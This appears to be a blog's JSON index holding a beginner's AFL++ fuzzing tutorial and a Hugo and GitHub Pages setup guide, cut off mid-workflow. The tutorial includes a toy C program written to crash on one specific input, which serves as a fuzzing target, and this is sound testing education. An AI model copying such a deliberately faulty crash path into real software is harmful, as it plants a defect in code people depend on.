style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (buf[\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;A\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e buf[\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;F\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e buf[\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;L\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (buf[\u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;+\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (buf[\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;+\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#a6e22e\"\u003e__builtin_trap\u003c/span\u003e();  \u003cspan style=\"color:#75715e\"\u003e// 触发崩溃（SIGTRAP）\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eafl\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ecc \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eo test test.c\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egcc \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eo test\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003egcc test.c\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这里就得到了两个不同的可执行程序版本：有afl插桩的test和gcc编译的无插桩的test-gcc\u003c/p\u003e","title":"我的AFL++fuzzing入门之路（2）"},{"content":"我的AFL++fuzzing入门之路（1） 00 前言 最近学校上的事渐渐变少，遂想着找份实习充实一下自己，学习更多先进的前沿技术。\n但是真正开始写简历时便越发惶恐，觉得能写的实在太少了，\n思来想去再学点东西来扩充一下自己的技术栈，翻着网页发现收藏夹里的fuzz测试介绍。\n而fuzz模糊测试是我在去年就见到过的，但是当时也只是匆匆一瞥，知道fuzz是一种自动输入寻找崩溃点的技术。\n现在有空了，多篇介绍AFL的文章看下来发现这个功能很强大，而且和二进制方向有一定的互补，\n所以就开始尝试学习了。\n由于笔者也刚在这个领域入门，所以文章可能会有写不够准确甚至谬误，欢迎各位大佬斧正。\n01 AFL++Fuzzing介绍 AFL++（American Fuzzy Lop Plus Plus）是目前最流行和最先进的模糊测试（Fuzzing）框架之一，是经典AFL（American Fuzzy Lop）的社区维护增强版。\n它是由Google安全工程师Michał Zalewski开发的一款开源fuzzing测试工具。\n其可以高效地对二进制程序进行fuzzing，挖掘可能存在的内存安全漏洞，如_栈溢出、堆溢出、UAF、double free_等。 由于需要在相关代码处插桩，因此AFL主要用于对开源软件进行测试。 配合QEMU等工具，也可对闭源二进制代码进行fuzzing，但执行效率会受到影响。 工作原理：通过对源码进行重新编译时进行插桩（简称编译时插桩）的方式利用自动产生测试用例来探索二进制程序内部新的执行路径。AFL也支持直接对没有源码的二进制程序进行测试，但需要QEMU的支持。\n02 环境搭建 这里有两种选择，可以使用docker容器，也可以直接安装到本机\n先附上docker容器搭建的方法：\ndocker pull aflplusplus/aflplusplus:latest docker run -ti -v /path/to/your/code:/src aflplusplus/aflplusplus 为了能够详细的学习（？，笔者决定直接安装到Ubuntu24.04虚拟机里。\n先更新系统和软件包：\nsudo apt update \u0026amp;\u0026amp; sudo apt upgrade -y 安装依赖（没错，就是这么多），有LLVM/Clang、Python、Rust等：\nsudo apt install -y build-essential python3-dev automake cmake git \\ flex bison libglib2.0-dev libpixman-1-dev python3-setuptools \\ cargo libgtk-3-dev lld llvm llvm-dev clang \\ gcc-$(gcc --version|head -n1|sed \u0026#39;s/\\..*//\u0026#39;|sed \u0026#39;s/.* //\u0026#39;)-plugin-dev \\ libstdc++-$(gcc --version|head -n1|sed \u0026#39;s/\\..*//\u0026#39;|sed \u0026#39;s/.* //\u0026#39;)-dev \\ ninja-build cpio libcapstone-dev wget curl python3-pip 找个好地方，克隆源码\ngit clone https://github.com/AFLplusplus/AFLplusplus.git cd AFLplusplus 编译安装，这里有三个选项：\n仅需要基础功能，仅核心组件和LLVM/GCC插桩，源码级fuzzing\nmake all sudo make install 仅二进制fuzzing支持（QEMU/Frida等）\nmake binary-only sudo make insatll 完整版本（包含QEMU、Frida、Unicorn等二进制fuzzing模式）\nmake distrib sudo make install 安装完成后可以输入以下命令来检测是否安装成功：\n# 检查版本 afl-fuzz --version # 检查编译器 afl-cc --version afl-clang-fast --version # 查看帮助 afl-fuzz --help | head -20 03 测试用例 如果AFL++Fuzzing正确的安装好了，那么可以试试来做第一个fuzzing测试，\n创建一个测试目录来放案例和输入输出\nmkdir ~/afl_test \u0026amp;\u0026amp; cd ~/afl_test 第一步，写一段明显有漏洞的C语言代码用于测试：\ncat \u0026gt; test.c \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; int main(int argc, char *argv[]) { char buf[100]; FILE *f = fopen(argv[1], \u0026#34;r\u0026#34;); if (!f) return 1; fread(buf, 1, sizeof(buf), f); fclose(f); // 漏洞触发点：输入 \u0026#34;AFL++\u0026#34; 会崩溃 if (buf[0] == \u0026#39;A\u0026#39; \u0026amp;\u0026amp; buf[1] == \u0026#39;F\u0026#39; \u0026amp;\u0026amp; buf[2] == \u0026#39;L\u0026#39;) if (buf[3] == \u0026#39;+\u0026#39;) if (buf[4] == \u0026#39;+\u0026#39;) __builtin_trap(); // 触发崩溃（SIGTRAP） return 0; } EOF 第二步，使用afl的编译器进行插桩编译\n# 使用 afl-cc 编译，自动插入覆盖率探针 afl-cc -o test test.c # 验证是否插桩成功 ls -la test 第三步，准备模糊测试的输入输出文件\nmkdir -p in out echo \u0026#34;test\u0026#34; \u0026gt; in/seed.txt 第四步，开始fuzzing\n# 启动 fuzzing afl-fuzz -i in -o out -- ./test @@ # 参数说明： # -i in : 输入目录（种子文件） # -o out : 输出目录（结果保存） # -- : 分隔符 # ./test : 目标程序 # @@ : 占位符，AFL 会自动替换为生成的测试文件 诶，这里如果也是Ubuntu系统可能就会碰到和我一样的问题了（别的系统我也不造啊\n❯ afl-fuzz -i in -o out -- ./test @@ afl-fuzz++4.36a based on afl by Michal Zalewski and a large online community [+] AFL++ is maintained by Marc \u0026#34;van Hauser\u0026#34; Heuse, Dominik Maier, Andrea Fioraldi and Heiko \u0026#34;hexcoder\u0026#34; Eißfeldt [+] AFL++ is open source, get it at https://github.com/AFLplusplus/AFLplusplus [+] NOTE: AFL++ \u0026gt;= v3 has changed defaults and behaviours - see README.md [+] No -M/-S set, autoconfiguring for \u0026#34;-S default\u0026#34; [*] Getting to work... [+] Using exploration-based constant power schedule (EXPLORE) [+] Enabled testcache with 50 MB [+] Generating fuzz data with a length of min=1 max=1048576 [+] FrameShift status: enabled (10% overhead configured) [*] Checking core_pattern... [-] Your system is configured to send core dump notifications to an external utility. This will cause issues: there will be an extended delay between stumbling upon a crash and having this information relayed to the fuzzer via the standard waitpid() API. If you\u0026#39;re just experimenting, set \u0026#39;AFL_I_DONT_CARE_ABOUT_MISSING_CRASHES=1\u0026#39;. To avoid having crashes misinterpreted as timeouts, please temporarily modify /proc/sys/kernel/core_pattern, like so: echo core | sudo tee /proc/sys/kernel/core_pattern [-] PROGRAM ABORT : Pipe at the beginning of \u0026#39;core_pattern\u0026#39; Location : check_crash_handling(), src/afl-fuzz-init.c:2653 查了一下问问ai，说是 Ubuntu 的 apport 服务占用了 core dump 处理，\n跟着它提示的命令敲就行了\n# 临时修复（立即生效，重启后失效） echo core | sudo tee /proc/sys/kernel/core_pattern 或者临时设置一下环境\n# 使用环境变量忽略警告（不推荐用于正式测试） AFL_I_DONT_CARE_ABOUT_MISSING_CRASHES=1 afl-fuzz -i in -o out -- ./test @@ 如果想一劳永逸呢，就按下面这样\n# 禁用 apport 服务 sudo systemctl disable apport.service sudo service apport stop # 永久设置 core_pattern echo \u0026#34;kernel.core_pattern = core\u0026#34; | sudo tee -a /etc/sysctl.conf sudo sysctl -p 这里给个底部跳转：什么是apport，为什么会冲突以及可以禁用吗\n好，处理完之后接着fuzzing，你可以看到这样一个“图“\n04 分析fuzzing结果 第六步：查看崩溃结果\n按 Ctrl+C 停止 fuzzing后可以看到上面的图\n我们来详细（？）看看这个图中各项的意义：\n1st.总体结果区 首先是右上角的总体结果区：\ncycles done : 68 ← 已完成 68 轮完整循环 corpus count : 9 ← 语料库有 9 个有效样本 saved crashes : 1 ← 发现 1 个独特崩溃！ saved hangs : 0 ← 无卡死 关键：saved crashes : 1 表示 AFL 成功找到了触发 __builtin_trap() 的输入，触发了一次崩溃\n2nd.运行时间区 然后是左上角的运行时间区：\nrun time : 0 days, 0 hrs, 3 min, 54 sec ← 整个fuzzing的运行时间：3分54秒 last new find : 0 days, 0 hrs, 3 min, 51 sec ← 上一个新发现的时间：3分51秒 last saved crash : 0 days, 0 hrs, 3 min, 51 sec ← 上一个崩溃发现时间：3分51秒 last saved hang : none seen yet ← 还么有发现卡死 这个不是特别值得看\n3rd.循环进度区 左上第二区，循环进度区\n├─ cycle progress ─────────────────────┬ │ now processing : 7*97 (77.8%) ← 当前处理第 7 个样本，第 97 次变异，完成 77.8% │ runs timed out : 0 (0.00%) ← 超时次数 0 也没啥可以注意的\n4th.覆盖率映射区 右上第二区，覆盖率映射区\n├─ map coverage┴──────────────────────┤ │ map density : 38.46% / 69.23% ← 当前覆盖率 38.46%，历史最高 69.23% │ count coverage : 17.00 bits/tuple ← 边碰撞计数精度 这个，有点重要，不过在后头有详细的\n5th.阶段进度区 左侧第三区，阶段进度区\n├─ stage progress ─────────────────────┼ │ now trying : havoc ← 当前使用的变异策略 │ stage execs : 229/400 (57.25%) ← 本阶段已执行 229 次，目标 400 次，完成 57.25% │ total execs : 254k ← 累计总执行次数 │ exec speed : 1050/sec ← 每秒执行速度 重点在于变异策略这一个属性\nAFL 的 5 阶段变异策略 自动循环切换：\n顺序 策略 操作方式 你的位置 1 bit flips 逐位翻转 1/1, 2/1, 4/1 已完成 2 byte flips 逐字节翻转 已完成 3 arithmetics 加减 ±1, ±2, ±4 已完成 4 known ints 插入 0, -1, MAX, 特殊值 已完成 5 dictionary 插入字典单词 已完成 6 havoc 大破坏：随机组合多种变异 ✅ 当前 7 splice 拼接两个样本 待执行 havoc 特点：\n最\u0026quot;暴力\u0026quot;的策略 随机选择多种变异操作组合 通常最容易发现新崩溃 6th.深度发现分析区 右侧第三区，深度发现分析区\n├─ findings in depth ─────────────────┤ │ favored items : 3 (33.33%) ← 3 个\u0026#34;优质\u0026#34;样本（占总数 33%） │ new edges on : 9 (100.00%) ← 9 个样本都触发了新边（100%） │ total crashes : 135 (1 saved) ← 共触发 135 次崩溃，保存 1 个独特崩溃 │ total tmouts : 0 (0 saved) ← 无超时 one.什么是优质样本？\nAFL 从语料库中挑选\u0026#34;最有价值\u0026#34;的样本优先变异 标准：体积小、执行快、发现新边多 two.为什么叫独特崩溃？\n因为afl为了避免存 135 个相同的 \u0026#34;AFL++\u0026#34; 文件，节约磁盘空间 135 次崩溃 → 哈希崩溃签名 → 发现都是同一个漏洞 → 只存第 1 个触发文件 7th.策略产出区 左下角，策略产出区\nbit flips : 0/0, 0/0, 0/0 ← 3种位翻转策略：新发现/尝试次数 byte flips : 0/0, 0/0, 0/0 ← 3种字节翻转策略：新发现/尝试次数 arithmetics : 0/0, 0/0, 0/0 ← 3种算术变异策略：新发现/尝试次数 known ints : 0/0, 0/0, 0/0 ← 3种已知整数策略：新发现/尝试次数 dictionary : 0/0, 0/0, 0/0, 0/0 ← 4种字典策略：新发现/尝试次数 havoc/splice : 9/253k, 0/0 ← havoc发现9个新路径/253k次尝试, splice无 py/custom/rq : unused... ← Python变异器/自定义/Redqueen：未使用 trim/eff : 39.44%/11, n/a ← 样本精简效率39.44%/11次尝试 8th.语料库几何结构 右下角，语料库几何结构\nlevels : 6 ← 最大变异深度6层 pending : 0 ← 待处理样本0（全部处理完） pend fav : 0 ← 优质样本待处理0 own finds : 8 ← AFL自己发现的样本8个 imported : 0 ← 外部导入的样本0 stability : 100.00% ← 执行稳定性100% end.查看策略 1看右上：有崩溃吗？有几个？ 2看右下：稳定吗？100%？ 3看左中：速度快吗？\u0026gt;500？ 有问题再展开，没问题继续跑 05查看崩溃结果 第七步：理解发生了什么\n# 查看发现的崩溃 ls out/default/crashes/ id:000000,sig:04,src:000007,time:2715,execs:2919,op:havoc,rep:1 README.txt # 查看触发崩溃的具体输入 xxd out/default/crashes/id:000000* 00000000: 4146 4c2b 2b2b 2b2b AFL+++++ # 手动验证崩溃 ./test out/default/crashes/id:000000* # 应该显示：Trace/breakpoint trap (core dumped) [1] 289291 illegal hardware instruction ./test out/default/crashes/id:000000* 崩溃文件名解析：\nid:000000,sig:04,src:000007,time:2715,execs:2919,op:havoc,rep:1 │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ 重复次数 │ │ │ │ │ │ └─ 变异策略：havoc │ │ │ │ │ └─ 第2919次执行时发现 │ │ │ │ └─ 2715毫秒（2.7秒）时发现 │ │ │ └─ 源自第7号样本 │ │ └─ 信号04：SIGILL（非法指令） │ └─ 崩溃编号：000000 └─ 唯一ID 崩溃内容解析：\nxxd: 4146 4c2b 2b2b 2b2b = AFL+++++ (9字节) │ │ └── +++++ (havoc随机添加的冗余+) │ └─ ++ (触发条件) └─ AFL (触发条件) 触发逻辑：\nif (buf[0]==\u0026#39;A\u0026#39; \u0026amp;\u0026amp; buf[1]==\u0026#39;F\u0026#39; \u0026amp;\u0026amp; buf[2]==\u0026#39;L\u0026#39;) // ✓ 匹配 \u0026#34;AFL\u0026#34; if (buf[3]==\u0026#39;+\u0026#39;) // ✓ 匹配 \u0026#34;+\u0026#34; if (buf[4]==\u0026#39;+\u0026#39;) // ✓ 匹配 \u0026#34;+\u0026#34; __builtin_trap(); // 💥 崩溃！ 后面多余的 ++++ 是 havoc 策略随机添加的，不影响触发。\n验证成功标志：\n[1] 289291 illegal hardware instruction ./test out/default/crashes/id:000000* │ │ └─ 进程ID └─ 错误类型：非法硬件指令 = SIGILL = __builtin_trap() 06fuzzing流程 综上所述，我们可以看到在一个简单的测试用例下的fuzzing流程：\nAFL 从 in/seed.txt 开始（内容为 \u0026ldquo;test\u0026rdquo;） 不断变异输入（ bit flip, byte flip, arithmetic, havoc 等） 监控覆盖率，发现新路径的输入保留下来 最终变异出 \u0026ldquo;AFL++\u0026rdquo;，触发了 __builtin_trap() 保存崩溃文件到 out/default/crashes/ 什么是apport Apport 是 Ubuntu 的错误自动收集系统，它主要负责自动收集崩溃信息（程序崩溃时生成 .crash 报告）、上传 Canonical（发送给 Ubuntu 开发者分析）以及用户友好提示（图形界面弹出\u0026quot;系统错误\u0026quot;对话框）。\n为什么会有冲突？\n核心问题：core_pattern 管道机制\nLinux 通过 /proc/sys/kernel/core_pattern 控制 core dump 处理方式：\n# Ubuntu 默认（被 apport 占用） cat /proc/sys/kernel/core_pattern # 输出：|/usr/share/apport/apport %p %s %c %d %P %E # ↑ 管道符号表示交给外部程序处理 而AFL的工作流程是：\n程序崩溃 ↓ 内核生成 core dump ↓ 通过管道传给 apport ↓ apport 处理（可能几秒～几十秒） ↓ 最后才通知父进程 ↓ AFL 以为程序是 timeout，不是 crash！ FL 的 forkserver 需要毫秒级感知崩溃，apport 的延迟会导致：\n崩溃被误判为超时 崩溃文件丢失或重复 fuzzing 效率严重下降 图例应该是：\n┌─────────────────────────────────────────────────────────┐ │ 正常配置 (echo core) │ │ 程序 ──崩溃──→ 生成 core 文件 ──→ AFL 立即感知 (waitpid) │ │ 延迟: ~1ms │ └─────────────────────────────────────────────────────────┘ ┌─────────────────────────────────────────────────────────┐ │ Apport 配置 (Ubuntu 默认) │ │ 程序 ──崩溃──→ 管道 → apport 处理 → 生成 .crash 报告 │ │ 延迟: ~100ms～数秒 │ │ → AFL 以为程序卡死/超时 │ └─────────────────────────────────────────────────────────┘ 所以可以大胆的禁用，这玩意对我们没啥用（\n","permalink":"https://chenjx12.github.io/posts/%E6%88%91%E7%9A%84afl++fuzzing%E5%85%A5%E9%97%A8%E4%B9%8B%E8%B7%AF1/","summary":"\u003ch1 id=\"我的aflfuzzing入门之路1\"\u003e我的AFL++fuzzing入门之路（1）\u003c/h1\u003e\n\u003ch2 id=\"00-前言\"\u003e00 前言\u003c/h2\u003e\n\u003cp\u003e最近学校上的事渐渐变少，遂想着找份实习充实一下自己，学习更多先进的前沿技术。\u003c/p\u003e\n\u003cp\u003e但是真正开始写简历时便越发惶恐，觉得能写的实在太少了，\u003c/p\u003e\n\u003cp\u003e思来想去再学点东西来扩充一下自己的技术栈，翻着网页发现收藏夹里的fuzz测试介绍。\u003c/p\u003e\n\u003cp\u003e而fuzz模糊测试是我在去年就见到过的，但是当时也只是匆匆一瞥，知道fuzz是一种自动输入寻找崩溃点的技术。\u003c/p\u003e\n\u003cp\u003e现在有空了，多篇介绍AFL的文章看下来发现这个功能很强大，而且和二进制方向有一定的互补，\u003c/p\u003e\n\u003cp\u003e所以就开始尝试学习了。\u003c/p\u003e\n\u003cp\u003e由于笔者也刚在这个领域入门，所以文章可能会有写不够准确甚至谬误，欢迎各位大佬斧正。\u003c/p\u003e\n\u003ch2 id=\"01-aflfuzzing介绍\"\u003e01 AFL++Fuzzing介绍\u003c/h2\u003e\n\u003cp\u003eAFL++（American Fuzzy Lop Plus Plus）是目前最流行和最先进的模糊测试（Fuzzing）框架之一，是经典AFL（American Fuzzy Lop）的社区维护增强版。\u003c/p\u003e\n\u003cp\u003e它是由Google安全工程师Michał Zalewski开发的一款\u003cstrong\u003e开源fuzzing测试工具\u003c/strong\u003e。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e其可以高效地对二进制程序进行fuzzing，挖掘可能存在的内存安全漏洞，如_栈溢出、堆溢出、UAF、double free_等。\u003c/li\u003e\n\u003cli\u003e由于需要在相关代码处插桩，因此AFL主要用于对开源软件进行测试。\u003c/li\u003e\n\u003cli\u003e配合QEMU等工具，也可对闭源二进制代码进行fuzzing，但执行效率会受到影响。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e工作原理\u003c/strong\u003e：通过对源码进行\u003cstrong\u003e重新编译时进行插桩\u003c/strong\u003e（简称编译时插桩）的方式利用自动产生测试用例来探索二进制程序内部新的执行路径。AFL也支持直接对没有源码的二进制程序进行测试，但需要QEMU的支持。\u003c/p\u003e\n\u003ch2 id=\"02-环境搭建\"\u003e02 环境搭建\u003c/h2\u003e\n\u003cp\u003e这里有两种选择，可以使用docker容器，也可以直接安装到本机\u003c/p\u003e\n\u003cp\u003e先附上docker容器搭建的方法：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker pull aflplusplus/aflplusplus:latest\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker run -ti -v /path/to/your/code:/src aflplusplus/aflplusplus\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e为了能够详细的学习（？，笔者决定直接安装到Ubuntu24.04虚拟机里。\u003c/p\u003e\n\u003cp\u003e先更新系统和软件包：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo apt update \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e sudo apt upgrade -y\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e安装依赖（没错，就是这么多），有LLVM/Clang、Python、Rust等：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo apt install -y build-essential python3-dev automake cmake git \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    flex bison libglib2.0-dev libpixman-1-dev python3-setuptools \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    cargo libgtk-3-dev lld llvm llvm-dev clang \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    gcc-\u003cspan style=\"color:#66d9ef\"\u003e$(\u003c/span\u003egcc --version|head -n1|sed \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;s/\\..*//\u0026#39;\u003c/span\u003e|sed \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;s/.* //\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e)\u003c/span\u003e-plugin-dev \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    libstdc++-\u003cspan style=\"color:#66d9ef\"\u003e$(\u003c/span\u003egcc --version|head -n1|sed \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;s/\\..*//\u0026#39;\u003c/span\u003e|sed \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;s/.* //\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e)\u003c/span\u003e-dev \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ninja-build cpio libcapstone-dev wget curl python3-pip\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e找个好地方，克隆源码\u003c/p\u003e","title":"我的AFL++fuzzing入门之路（1）"},{"content":"个人博客搭建 hugo + GitHub Pages/云服务器\n以下仅为个人搭建记录，仅供参考\n本来是写在微信公众号上的，后门租了服务器就整服务器上了，结果没注意服务器到期了……遂重新开到GitHub Pages上\n本地hugo 先在Windows主机上创建一个文件夹用于放hugo\n打开powershell\nwinget install Hugo.Hugo.Extended 如是，hugo安装完成，下一步初始化\nhugo new site . --force GitHub仓库-hugo源码 在GitHub上创建一个私有仓库，用于存放hugo源码以及文章草稿\ncopy这玩意在本地git关联\n同步关联 本地初始化git，并且关联到github仓库\nwell，可以看到仓库中已经有推送的了\n主题添加 会发现少了很多目录，这是因为git不推空目录，给hugo添加一下主题和第一篇文章，让git能把所有目录都推上去\ngit submodule add --depth=1 https://github.com/adityatelange/hugo-PaperMod.git themes/PaperMod echo \u0026#34;theme = \u0026#39;PaperMod\u0026#39;\u0026#34; \u0026gt;\u0026gt; hugo.toml git add . git commit -m \u0026#34;Add PaperMod theme and config\u0026#34; git push 文章添加 再给自己一个hello world：\n在content目录下新建/post/hello-world.md\n--- title: \u0026#34;Hello World\u0026#34; date: 2026-03-07T22:00:00+08:00 draft: false tags: [\u0026#34;hugo\u0026#34;, \u0026#34;博客\u0026#34;] categories: [\u0026#34;技术\u0026#34;] --- ## 欢迎来到我的博客 这是我的第一篇 Hugo 文章！ 然后让hugo帮我们处理一下：\nhugo new content posts/hello-world.md 然后提交：\ngit add content/ git commit -m \u0026#34;Add first post: hello-world\u0026#34; git push 站点预览 在hugo目录下，powershell中输入：\nhugo server -D 你会看到一长串的输出，以及一个本地的端口\n浏览器访问它，你可以看到默认站点界面\nGitHub Pages 一样的啊，去GitHub创建一个仓库，仓库名就是你GitHub用户名+.gitbub.io，公开的\n然后咱在本地的hugo目录下创建一下GitHub的workflow\nmkdir .github\\workflows 因为需要自动CI/CD的话咱还需要deploy key，这里直接本地生成一个\nssh-keygen -t rsa -b 4096 -C \u0026#34;github-actions-deploy\u0026#34; -f $env:USERPROFILE\\.ssh\\gh-pages-deploy 去GitHub仓库的Setting -\u0026gt; Security -\u0026gt; deploy key里填写title（随便写）和刚刚生成的pub\n记得勾选Allow write access，然后add key\n再去hugo仓库中添加私钥Setting -\u0026gt; Security -\u0026gt; Secret and Variable -\u0026gt; Action -\u0026gt; New repository secret\n填好私钥和名字，然后add secret\n自己填好下面的参数（仓库名称和deploy key名称），直接复制到powershell中执行即可：\n@\u0026#39; name: Deploy to GitHub Pages on: push: branches: [main] workflow_dispatch: jobs: build-and-deploy: runs-on: ubuntu-latest steps: - name: Checkout source uses: actions/checkout@v4 with: submodules: true - name: Setup Hugo uses: peaceiris/actions-hugo@v2 with: hugo-version: \u0026#39;latest\u0026#39; extended: true - name: Build run: hugo --minify - name: Deploy to \u0026lt;yourname.github.io\u0026gt; uses: peaceiris/actions-gh-pages@v3 with: deploy_key: ${{ secrets.PAGES_DEPLOY_KEY }} external_repository: \u0026lt;yourname.github.io\u0026gt; publish_branch: main publish_dir: ./public \u0026#39;@ | Out-File -Encoding utf8 .github\\workflows\\deploy.yml 测试推送\ngit add .github/workflows/deploy.yml git commit -m \u0026#34;Update deploy to external repository\u0026#34; git push 看看hugo仓库的workflow action\n显示成功，直接去访问你的网站\n到这里GitHub pages的配置就结束了\n云服务器 既然看到这里那就是对云服务器有想法了\n首先你需要一台可以公网访问即拥有公网ip的服务器，\n在上面更新一下软件包，安装nginx反代理\n# 更新系统 apt update \u0026amp;\u0026amp; apt upgrade -y # 安装 Nginx apt install nginx -y # 启动并设置开机自启 systemctl start nginx systemctl enable nginx # 检查状态 systemctl status nginx 创建一个专门存放网页的目录\n# 创建目录 mkdir -p /var/www/html # 设置权限（让部署用户有写入权限） chown -R root:root /var/www/html chmod 755 /var/www/html 修改nginx的配置文件\nvim /etc/nginx/sites-available/default 替换如下\nserver { listen 80; listen [::]:80; server_name _; root /var/www/html; index index.html index.htm; location / { try_files $uri $uri/ =404; } # Gzip 压缩 gzip on; gzip_types text/plain text/css application/json application/javascript text/xml; } 对nginx进行检查和重载\nnginx -t systemctl reload nginx 别忘了在云服务厂家的管理平台上对http的80端口进行放生\n嗯，有域名的师傅可以选择用https，更安全；当然，也可以自签名，\n使用https也需要更改相应的nginx配置，监听端口80和443啊，80重定向到443之类的，不过具体步骤这里就不多赘述了。\n好的，那么服务器配置完成了。\n那么还记得上面GitHub pages的yaml文件吗？\n先把上面的deploy.yml修改一下下，为双部署做准备：\nname: Deploy to GitHub Pages and Server on: push: branches: [main] workflow_dispatch: jobs: build-and-deploy: runs-on: ubuntu-latest steps: - name: Checkout source uses: actions/checkout@v4 with: submodules: true - name: Setup Hugo uses: peaceiris/actions-hugo@v2 with: hugo-version: \u0026#39;latest\u0026#39; extended: true - name: Build run: hugo --minify # 部署到 GitHub Pages - name: Deploy to GitHub Pages uses: peaceiris/actions-gh-pages@v3 with: deploy_key: ${{ secrets.PAGES_DEPLOY_KEY }} # 修改：你的用户名/用户名.github.io external_repository: \u0026lt;USERNAME\u0026gt;/\u0026lt;USERNAME\u0026gt;.github.io publish_branch: main publish_dir: ./public # 部署到云服务器（可选） - name: Deploy to Server uses: appleboy/scp-action@v0.1.7 with: # 在仓库 Settings -\u0026gt; Secrets 中配置以下变量： host: ${{ secrets.SERVER_HOST }} # 服务器IP或域名 username: ${{ secrets.SERVER_USER }} # 